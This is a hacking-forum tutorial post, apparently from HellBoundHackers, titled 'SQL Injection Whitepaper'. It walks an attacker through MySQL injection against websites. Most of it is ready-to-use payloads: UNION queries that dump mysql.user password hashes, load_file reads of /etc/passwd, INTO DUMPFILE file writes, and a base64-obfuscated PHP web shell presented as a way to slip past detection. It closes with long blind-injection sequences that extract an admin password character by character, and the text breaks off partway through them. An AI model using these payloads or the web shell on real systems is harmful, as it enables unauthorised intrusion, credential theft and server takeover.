Follow us on Twitter!
Things are more like they are now than they have ever been before. - Dwight D. Eisenhower
Wednesday, April 23, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 32
Guests Online: 25
Members Online: 7

Registered Members: 82881
Newest Member: DARKLECTER
Latest Articles

SQL Injection Whitepaper

Arrow Image long (blind) sql injection guide from basic to advanced showing all sides of the story



Dear hellboundhackers, I want to give my submission hereby by submitting you my knowledge about mysql injections, I will start off by the basic stuff, then going over to blind I will try to provide a wide range of tips and tricks to learn everyone something.

First of all, to totally understand and exploit this learn mysql, php and about windows and linux servers standard configuration files.

Code
=====================================
=== Chapter 1 - the basics        ===
=====================================




While browsing the Internet you will commonly see things in your url like 'http://example.com/index.php?pageid=326', 'http://example.com/index.php?page=home', see login boxes or any other form of being able to input user controlled elements, actually your entire header you are sending is user controlled. Now here is the possibility that the user can input its own data. Sometimes this data is directly speaking to the database and it might be possible for the attacker to change things so it will react different. In the case the database is a mysql database and the attacker is inputting code to let the database output be different than the creator of the original creator of the code had intended then we are talking about a mysql injection.

Code
This would be a typical example of a sql injection:
url:         http://example.com?pageid=326
the mysql request:   select * from pages where pageid=.$_GET['pageid']




In order to connect to mysql with php you have to make a connection to the database. This requires a valid user name with password and these are often found in the source of the code, unencrypted.

So as attacker we see the 326 on the screen, what now? How to proof that it is vulnerable? Not hard, try to ask something that is not true, do the same with something that is true.

Code
Url:         http://example.com/index.php?pageid=326'
the mysql request:   select * from pages where pageid=326'




Here the mysql will fail, it sees the quote and will fail and not get the pages for you, the result could be that the page is not displaying, that there are mysql error messages on the screen or something like that.

Now on to the next diagnose, we are going to ask if 1=1 is true, after that we are going to ask for 1=2.

Code
url:         http://example.com/index.php?pageid=326 AND 1=1
the mysql request:   select * from pages where pageid=326 AND 1=1




Code
url:         http://example.com/index.php?pageid=326 AND 1=2
the mysql request:   select * from pages where pageid=326 AND 1=2




If there is nothing missing in situation 1 and situation 2 is giving you a page with missing content or anything else different (might even be in the delay on how long the page loads) then you probably have a mysql injection. It commonly occurs that before it is working you have to use comments to comment away any mysql excecuted later than the user input. By placing '--', '/*', '#' are comments. Here are example url's where comments are enabled:

Code
http://example.com/index.php?pageid=326 AND 1=1--
http://example.com/index.php?pageid=326 AND 1=2#
http://example.com/index.php?pageid=326 AND 1=2/*




Also, i have heard a situation where the web application scans if you are putting 'AND 1=1' or a '=' (equal) character in your url, in this case you have to come up with something else what is true, try things like:

Code
http://example.com/index.php?pageid=326 AND 5*4>30-9
http://example.com/index.php?pageid=326 AND 5*4<30-9




In this example there is * selected, this means that everything will be declared from the table with the corresponding pageid, the creator of the code might only use the columns called 'content' and 'title' while there might be more columns for id, author, creation date, last edited or even more.
In order to find out the amount of columns selected we are going to use the 'order by' command. The 'order by' keyword is used to sort the result-set by a specified column.

Code
true:
url:         http://example.com/index.php?pageid=326 order by 1
the mysql request:   select * from pages where pageid=326 order by 1




Code
true:
url:         http://example.com/index.php?pageid=326 order by 2
the mysql request:   select * from pages where pageid=326 order by 2




Code
true:
url:         http://example.com/index.php?pageid=326 order by 3
the mysql request:   select * from pages where pageid=326 order by 3




Code
true:
url:         http://example.com/index.php?pageid=326 order by 4
the mysql request:   select * from pages where pageid=326 order by 4




Code
true:
url:         http://example.com/index.php?pageid=326 order by 5
the mysql request:   select * from pages where pageid=326 order by 5




Code
false:
url:         http://example.com/index.php?pageid=326 order by 6
the mysql request:   select * from pages where pageid=326 order by 6




From here i am going to make use of the command union, union is not supported in all version of mysql, if it is not supported you have to go on to blind sql injections. I would advise you to read this section, it is very usefull information.
union is used to combine the result from multiple select statements into a single result set. Here i will be using union all because the union operator only selects distrinct values by default but by using union all it will allow duplicate values.

Code
url:         http://example.com/index.php?pageid=326 UNION ALL SELECT 1,2,3,4,5,6
the mysql request:   select * from pages where pageid=326 UNION ALL SELECT 1,2,3,4,5,6




If it does not work then try to find a nothing containing id, -1 is most of the times a nothing containing id. You can also try for a very, very high id but you will have the risk of overloading the mysql database if it is coded really bad.

If you see number 2 where the text should have been and somewhere else a 3 where the author should have been then you got a vulnerable version. It means that the creator only used the second column, containing the content and the third column which contained the author. The first column is usualy used for ID, you wont see this one back alot on the screen unless it is used for keeping track of numbers for trouble tickets in a ticket system or something.

Code
url:         http://example.com/index.php?pageid=326 UNION ALL SELECT 1,version(),3,4,5,6
the mysql request:   select * from pages where pageid=326 UNION ALL SELECT 1,version(),3,4,5,6




Now you see the version where earlyer was the 2. This comes straight from mysql. Now the next logical step is to see how many rights you got, in order to select things from the mysql.user table you have to have alot of rights. By trying to select somehting from there you got an easy way to find out if you have too many rights.

Code
url:         http://example.com/index.php?pageid=326 UNION ALL SELECT 1,version(),3,4,5,6 from mysql.user
the mysql request:   select * from pages where pageid=326 UNION ALL SELECT 1,version(),3,4,5,6 from mysql.user




If this works you want to get the hashes and users of the mysql.user table.

Code
root
http://example.com/index.php?pageid=326
UNION ALL SELECT 1,concat(user, 0x3a, password),3,4,5,6 from mysql.user limit 0,1




Code
root
http://example.com/index.php?pageid=326
UNION ALL SELECT 1,concat(user, 0x3a, password),3,4,5,6 from mysql.user limit 1,1




Code
root
http://example.com/index.php?pageid=326
UNION ALL SELECT 1,concat(user, 0x3a, password),3,4,5,6 from mysql.user limit 2,1




Code
system maintainer
http://example.com/index.php?pageid=326
UNION ALL SELECT 1,concat(user, 0x3a, password),3,4,5,6 from mysql.user limit 3,1




Code
from here usually start the manually inserted users
http://example.com/index.php?pageid=326
UNION ALL SELECT 1,concat(user, 0x3a, password),3,4,5,6 from mysql.user limit 4,1




Concat is to return concatenated strings, limit 0,1 is used to loop through the result, the 0 tells to return the first row that is outputted while if it would be 1 it would go to the second row and so on. The 1 tells how many rows to output, keep it 1 in order to keep outputting only the first row.
http://passcracking.ru/ is a very handy site to decode your mysql hashes, if you want to do it manually then try john the ripper or ask google for the hash, it might have indexed it somewhere ;) google finds a lot. Put quotes around the hash, its better for the result. Here is an example:
http://www.google.nl/search?hl=en&q=%22*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29%22&btnG=Google+Search&aq=f&oq=
3a is the hex representation of the ascii char ':', by putting a 0x before a value mysql will understand it hash to convert a hex character to an ascii char. This way you can get non executing quotes with 0x22 and 0x27.
See this picture for more a good overview of hex - ascii characters.
http://www.asciitable.com/asciifull.gif

So the hashes are too strong to crack? no problem, we are going to see if we can write to things.
http://dev.mysql.com/doc/refman/5.0/en/select.html
There they mention you can use select things and store them in dump files.

(from dev.mysql.com about select)
Code
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]




so we would choose union all select 1,'content',3,4,5,6 into dumpfile 'file_name'.

in our situation:
http://example.com/index.php?pageid=326 UNION ALL SELECT 1,'test',3,4,5,6 into dumpfile '/tmp/write'

Now you might wonder like 'Hey but in what directory is the website that i am exploiting' well, apache made something handy for this, its called a virtual hosts configuration file, its always searching a little bit where it is located but its commonly easy to find.

Here you can find some handy information in this process:
http://wiki.apache.org/httpd/DistrosDefaultLayout

Code
You can open the files with:
http://example.com/index.php?pageid=326 UNION ALL SELECT 1,concat('<pre>', load_file('/etc/passwd'), '</pre>'),3,4,5,6
http://example.com/index.php?pageid=326 UNION ALL SELECT 1,concat('<pre>', load_file('/etc/hosts'), '</pre>'),3,4,5,6



I love to use the <pre> tag during this process, this way it will make a much neater result. concat is to return concatenated strings.
Also to explore the infrastructure of the server you can use the standard mysql variables here is a list of variables what might work:

Code
mysql> show variables;
+---------------------------------+
| Variable_name | Value |
+---------------------------------+
| auto_increment_increment | |
| auto_increment_offset | |
| automatic_sp_privileges | |
| back_log | |
| basedir | |
| binlog_cache_size | |
| bulk_insert_buffer_size | |
| character_set_client | |
| character_set_connection | |
| character_set_database | |
| character_set_filesystem | |
| character_set_results | |
| character_set_server | |
| character_set_system | |
| character_sets_dir | |
| collation_connection | |
| collation_database | |
| collation_server | |
| completion_type | |
| concurrent_insert | |
| connect_timeout | |
| datadir | |
| date_format | |
| datetime_format | |
| default_week_format | |
| delay_key_write | |
| delayed_insert_limit | |
| delayed_insert_timeout | |
| delayed_queue_size | |
| div_precision_increment | |
| keep_files_on_create | |
| engine_condition_pushdown | |
| expire_logs_days | |
| flush | |
| flush_time | |
| ft_boolean_syntax | |
| ft_max_word_len | |
| ft_min_word_len | |
| ft_query_expansion_limit | |
| ft_stopword_file | |
| group_concat_max_len | |
| have_archive | |
| have_bdb | |
| have_blackhole_engine | |
| have_compress | |
| have_crypt | |
| have_csv | |
| have_dynamic_loading | |
| have_example_engine | |
| have_federated_engine | |
| have_geometry | |
| have_innodb | |
| have_isam | |
| have_merge_engine | |
| have_ndbcluster | |
| have_openssl | |
| have_ssl | |
| have_query_cache | |
| have_raid | |
| have_rtree_keys | |
| have_symlink | |
| hostname | |
| init_connect | |
| init_file | |
| init_slave | |
| innodb_additional_mem_pool_size | |
| innodb_autoextend_increment | |
| innodb_buffer_pool_awe_mem_mb | |
| innodb_buffer_pool_size | |
| innodb_checksums | |
| innodb_commit_concurrency | |
| innodb_concurrency_tickets | |
| innodb_data_file_path | |
| innodb_data_home_dir | |
| innodb_adaptive_hash_index | |
| innodb_doublewrite | |
| innodb_fast_shutdown | |
| innodb_file_io_threads | |
| innodb_file_per_table | |
| innodb_flush_log_at_trx_commit | |
| innodb_flush_method | |
| innodb_force_recovery | |
| innodb_lock_wait_timeout | |
| innodb_locks_unsafe_for_binlog | |
| innodb_log_arch_dir | |
| innodb_log_archive | |
| innodb_log_buffer_size | |
| innodb_log_file_size | |
| innodb_log_files_in_group | |
| innodb_log_group_home_dir | |
| innodb_max_dirty_pages_pct | |
| innodb_max_purge_lag | |
| innodb_mirrored_log_groups | |
| innodb_open_files | |
| innodb_rollback_on_timeout | |
| innodb_support_xa | |
| innodb_sync_spin_loops | |
| innodb_table_locks | |
| innodb_thread_concurrency | |
| innodb_thread_sleep_delay | |
| interactive_timeout | |
| join_buffer_size | |
| key_buffer_size | |
| key_cache_age_threshold | |
| key_cache_block_size | |
| key_cache_division_limit | |
| language | |
| large_files_support | |
| large_page_size | |
| large_pages | |
| lc_time_names | |
| license | |
| local_infile | |
| locked_in_memory | |
| log | |
| log_bin | |
| log_bin_trust_function_creators | |
| log_error | |
| log_queries_not_using_indexes | |
| log_slave_updates | |
| log_slow_queries | |
| log_warnings | |
| long_query_time | |
| low_priority_updates | |
| lower_case_file_system | |
| lower_case_table_names | |
| max_allowed_packet | |
| max_binlog_cache_size | |
| max_binlog_size | |
| max_connect_errors | |
| max_connections | |
| max_delayed_threads | |
| max_error_count | |
| max_heap_table_size | |
| max_insert_delayed_threads | |
| max_join_size | |
| max_length_for_sort_data | |
| max_prepared_stmt_count | |
| max_relay_log_size | |
| max_seeks_for_key | |
| max_sort_length | |
| max_sp_recursion_depth | |
| max_tmp_tables | |
| max_user_connections | |
| max_write_lock_count | |
| multi_range_count | |
| myisam_data_pointer_size | |
| myisam_max_sort_file_size | |
| myisam_recover_options | |
| myisam_repair_threads | |
| myisam_sort_buffer_size | |
| myisam_stats_method | |
| ndb_autoincrement_prefetch_sz | |
| ndb_force_send | |
| ndb_use_exact_count | |
| ndb_use_transactions | |
| ndb_cache_check_time | |
| ndb_connectstring | |
| net_buffer_length | |
| net_read_timeout | |
| net_retry_count | |
| net_write_timeout | |
| new | |
| old_passwords | |
| open_files_limit | |
| optimizer_prune_level | |
| optimizer_search_depth | |
| pid_file | |
| plugin_dir | |
| port | |
| preload_buffer_size | |
| profiling | |
| profiling_history_size | |
| protocol_version | |
| query_alloc_block_size | |
| query_cache_limit | |
| query_cache_min_res_unit | |
| query_cache_size | |
| query_cache_type | |
| query_cache_wlock_invalidate | |
| query_prealloc_size | |
| range_alloc_block_size | |
| read_buffer_size | |
| read_only | |
| read_rnd_buffer_size | |
| relay_log | |
| relay_log_index | |
| relay_log_info_file | |
| relay_log_purge | |
| relay_log_space_limit | |
| rpl_recovery_rank | |
| secure_auth | |
| secure_file_priv | |
| server_id | |
| skip_external_locking | |
| skip_networking | |
| skip_show_database | |
| slave_compressed_protocol | |
| slave_load_tmpdir | |
| slave_net_timeout | |
| slave_skip_errors | |
| slave_transaction_retries | |
| slow_launch_time | |
| socket | |
| sort_buffer_size | |
| sql_big_selects | |
| sql_mode | |
| sql_notes | |
| sql_warnings | |
| ssl_ca | |
| ssl_capath | |
| ssl_cert | |
| ssl_cipher | |
| ssl_key | |
| storage_engine | |
| sync_binlog | |
| sync_frm | |
| system_time_zone | |
| table_cache | |
| table_lock_wait_timeout | |
| table_type | |
| thread_cache_size | |
| thread_stack | |
| time_format | |
| time_zone | |
| timed_mutexes | |
| tmp_table_size | |
| tmpdir | |
| transaction_alloc_block_size | |
| transaction_prealloc_size | |
| tx_isolation | |
| updatable_views_with_limit | |
| version | |
| version_comment | |
| version_compile_machine | |
| version_compile_os | |
| wait_timeout | |
+---------------------------------+
237 rows in set (0.00 sec)

user()
database()
schema()




By adding @@ at the front of the variable and asking for it it will most of the time return its value. @@datadir is a example. Note that i blanked out every value here, just for personal reasons.

So you found the directory where your website is in? Lets go on then, upload a simple upload script and upload a shell of your choice, i would advise you to make your own shell, lots of detection things are out there to locate the c99, c100, r57, locus and netshells. Only a couple of lines could create a web shell here is an example with a basic obscure technique on board, i have to mention there are detection things out there that search for exec() commands and things like that, these are harder to avoid but are rarely found:

Code
<?php
exec(base64_decode($_GET[')']), $_a);
for ($i=0; $i<count($_a); $i++){echo "<div style="margin: 5px; border: solid 2px 00000;">".htmlspecialchars($_a[$i])."</div>";}
?>




The first line will tell its php, second line will execute the base64 encoded get request ')' and the third line will display everything on the screen in a quite neat way and line four will tell that you are done with a block of php again.
A request to display the content of the current folder will look like:
Code
http://example.com/index.php?)=bHM=



bHM= = ls (base64)
Code
http://home2.paulschou.net/tools/xlate/



can help you encoding your requests.

If you are comfortable you can also dump a upload script in a file with which you then again upload your favorite shell and further elevate your rights from there. There is a good video example of this situation in a video made by Lidloses_Auge located here: http://str0ke213.tradebit.com/pub/8/92.flv

If you found the website directory where you want to upload your file but you don't have enough rights, like only able to load_file('') and not write you should load index.php, see where the connection is made with mysql and see the password in plaintext. Then try connecting through phpmyadmin commonly just put /phpmyadmin behind the url, if you can not find it this way go and find a domain on the same server, most of the times its possible to connect to the mysql database on the same server through a phpmyadmin on another domain. Its a very funny mistake about always made. Note that it commonly occurs that someone puts his password in a string like $password = "a1654\"\"aaafe2=="; be sure that you deleted the escaping characters before connecting or it wont work, you will just end up having the wrong password.

If you are not having close to root rights so not able to do this fancy stuff, you are still far from outnumbered, you should datamine the information_schema.columns table and see what tables and columns you do have rights for. Information_schema is a database where information is stored for mysql, here you can find table names, column names and things like that.

Code
http://example.com/index.php?pageid=326 UNION ALL SELECT 1,concat(TABLE_SCHEMA, 0x3a, TABLE_NAME, 0x3a, COLUMN_NAME),3,4,5,6 from information_schema.columns limit 0, 1




loop through this table until you found the right information like a table called users and a column in it with password. Blindly asking for the table users, user, member, members, etc etc is also not a not commonly found technique but by mining the information_schema you can be more sure about the result.

Code
========================================
=== Chapter 2 - blind sql injections ===
========================================




So you see a different in delay in the request, missing a picture, missing anything in any way when asking for 1=2 and 1=1 is giving no problems or you dont have the right version for union? Well, you came to a typical blind sql injection!
Blind SQL injections are alot more found than mysql injections, they are as easy to exploit as normal injections with some dedication but they take a lot longer to exploit because you basicly can only ask for 1 thing at a time.

Code
http://example.com/index.php?pageid=326 AND 1=1 #picture loads
http://example.com/index.php?pageid=326 AND 1=2 #picture doesn't load




Here you should try to make sub selects:

Code
http://example.com/index.php?pageid=326 (select 1)=1
http://example.com/index.php?pageid=326 (select 1)=2




If this does works you should try substring() substring returns the substring as specified.
substring('value', 'selected point to start', 'amount of letters to return from the selected point')

Code
http://example.com/index.php?pageid=326 AND substring('123', 1, 1)=1 # true, character 1 is 1
http://example.com/index.php?pageid=326 AND substring('123', 2, 1)=2 # true, character 2 is 2
http://example.com/index.php?pageid=326 AND substring('123', 3, 1)=3 # true, character 3 is 3




So how to exploit this? Lets start by asking the version!

Code
http://example.com/index.php?pageid=326 AND substring(version(), 1, 1)=1 # image doesn't load, its false
http://example.com/index.php?pageid=326 AND substring(version(), 2, 1)=2 # image doesn't load, its false
http://example.com/index.php?pageid=326 AND substring(version(), 3, 1)=3 # image doesn't load, its false
http://example.com/index.php?pageid=326 AND substring(version(), 4, 1)=4 # image doesn't load, its false
http://example.com/index.php?pageid=326 AND substring(version(), 5, 1)=5 # image loads, its true, the first character in this case is 5 so the version is 5




You might now already see that this is taking way more time than the usual exploit, it is resulting in the same result when exploited but the amount of time it takes asks for automation. We will come to this later.
Here comes an example of how to select a table, you must always be sure to only select 1 row otherwise it wont work, here i am using the where to find the admin user. the ascii() is to return a numeric value of left-most character, here i am asking for a value bigger than null bytes if this is true i am going to increment it with 10 untill it gives an error and then i am going to ask for the exact value.:
Code
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>0 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>10 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>20 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>30 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>40 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>50 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>60 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>70 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>80 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>90 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>100 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>95 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))=96 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))=97 #true




Then you can locally go to mysql and ask for the value.

Code
mysql> select char('97');
+------------+
| char('97') |
+------------+
| a |
+------------+
1 row in set (0.00 sec)




So the first character is a, lets move on to the next value.

Code
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>0 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>10 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>20 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>30 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>40 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>50 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>60 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>70 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>80 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>90 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>100 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>95 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))=96 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))=97 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))=98 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))=99 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))=100 #true




Code
mysql> select char(97, 100);
+---------------+
| char(97, 100) |
+---------------+
| ad |
+---------------+
1 row in set (0.01 sec)




Code
During a blind sql injection its smart to think, in this case it should obvious be admin followed by a ':' and then the password. So lets try it!
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) where username='admin' from users limit 0,1), 1, 1))=97 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) where username='admin' from users limit 0,1), 2, 1))=100 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) where username='admin' from users limit 0,1), 3, 1))=109 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) where username='admin' from users limit 0,1), 4, 1))=105 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) where username='admin' from users limit 0,1), 5, 1))=110 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) where username='admin' from users limit 0,1), 6, 1))=58 #true



Code
mysql> select char(97, 100, 109, 105, 110, 58);
+----------------------------------+
| char(97, 100, 109, 105, 110, 58) |
+----------------------------------+
| admin: |
+----------------------------------+
1 row in set (0.00 sec)




Now that we got the first part we still have to do the 'secret' part, the password, so lets get going:

Code
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>0 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>10 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>20 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>30 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>40 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>50 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>60 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>70 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>80 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>90 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>100 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>110 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>120 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>115 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))=111 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))=112 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))=113 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))=114 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))=115 #true




Code
mysql> select char(97, 100, 109, 105, 110, 58, 115);
+---------------------------------------+
| char(97, 100, 109, 105, 110, 58, 115) |
+---------------------------------------+
| admin:s |
+---------------------------------------+
1 row in set (0.01 sec)




Code
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>0 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>10 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>20 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>30 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>40 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>50 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>60 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>70 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>80 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>90 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>100 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>110 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>105 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))=101 #true




Code
mysql> select char(97, 100, 109, 105, 110, 58, 115, 101);
+--------------------------------------------+
| char(97, 100, 109, 105, 110, 58, 115, 101) |
+--------------------------------------------+
| admin:se |
+--------------------------------------------+
1 row in set (0.00 sec)




Code
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>0 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>10 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>20 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>30 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>40 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>50 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>60 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>70 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>80 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>90 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>100 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>95 #true
